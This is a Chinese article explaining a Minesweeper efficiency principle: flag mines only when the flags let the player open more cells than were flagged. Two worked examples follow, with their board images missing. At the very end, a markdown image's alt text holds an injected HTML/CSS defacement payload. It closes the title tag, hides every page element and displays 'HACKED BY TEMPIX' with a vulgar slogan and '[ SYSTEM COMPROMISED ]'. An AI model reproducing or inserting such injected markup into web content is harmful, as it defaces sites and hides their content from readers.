『前言』
一直想写这样一篇文章。
在扫雷的过程中,对同一特定局部的处理,不同的玩家会有不同的选择,但所耗费的时间却不相同。为了缩短整局完成的时间,我们有必要在每一个局部对操作进行优化,避免无效的点击和移动。这样积累下来的时间节省是很可观的。对某一个局部而言,是采用最少移动还是最小点击的方法一直争论不休。从全局来看,必然鼠标移动距离是第一需要压缩的元素,而点击数量则次之。因为有人鼠标操控灵活,有人鼠标点击很快,所以没有必定最优的操作方法。
但从时间因素上综合考虑一下,鼠标点击只需要一个手指按下,所费时间取决于手指灵敏度和鼠标键程,而鼠标移动定位则需要数个手指乃至手腕甚至小臂来完成,同时还需要眼睛配合移动距离,有一个启动和刹车的过程,太慢的话浪费时间,太快的话准确性又得不到保证。所以我认为单纯的鼠标点击、鼠标移动都不应是费时的计量单位,真正的费时计量单位应该是定位的次数。因为点击毕竟要定位之后才能生效,移动的目的也是为了定位,所以我提出下面的“局部最优化操作”概念。
『局部最优化操作』
在使用最少的定位次数完成某个局部。
完成一个局部的概念是打开本局部所有非雷的格子,而不是标出所有雷。
『局部最优化操作原则』
在一次操作中,所获得3BV数必须大于标雷个数。
所谓一次操作是指由标雷后双击组成的一组操作。
获得3BV数就是你每次双击打开的格子,以及左键单击点开的格子,每个都是一个3BV。
基本上可以将其理解为,标n个雷就必须能开n+1乃至更多个格子,如果标了n个雷开不到n+1个格子,标雷就是失败的,不如直接点开非雷格子。也就是无助于按原则打开格子的雷坚决不能标,在处理一个局部的时候,优先进行能打开最大格子数的操作,能获得更多的参考信息,也可以更快的解决整个局部。
也可以将其编成口诀记忆,“标一开二、标二开三、标三开四”,这是基本也是最起码的要求。
『实例讲解』(一)




















































































本局部最优先的两个操作是两个“标一开四”




















































































而
处的雷因为无助于按原则打开格子,是坚决不能标的。(非要标上的话,只能做到标二开一)




















































































两个标一开四后,局面变成这样:




















































































现在最优先的操作分别是“标二开三”和“标零开三”,
仍然是不能标的雷(标了只能做到标一开一)




















































































局面变成这样:




















































































局面变成这样,还有一个标零开三和标一开二(只计新标的雷,以前标过的雷不计):




















































































本局部完成,标雷5个,双击6次,获得19个3BV。




















































































『实例讲解』(二)

















































































第一时间发现一个标一开四,以及
两个不可标之雷

















































































局面变化如下,又一个标一开四:

















































































局面变化如下,一个标一开三:

















































































局面变化如下,已经没有符合原则的操作,于是左键点开:

















































































局面变化如下,左键点开:

















































































局面变化如下,标二开四:

















































































局面变化如下,标零开三:

















































































本局部完成,标雷4个,双击5次,单击3次,获得20个3BV。

















































































『总结』
以上列举了两个实战中的局部作为例子,希望大家能记住局部最优化操作的原则。不是要少标雷,而是要有目的性的标雷,每次标雷要有价值,不能亏(如标三开一之类-_-!!!)。在3BV较高的图中,适合按原则操作的局部会很多,标雷双击的次数也就很频繁,相对而言3BV较低的图,单击就多一些。
今天就讲到这里,祝各位不断突破记录!
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)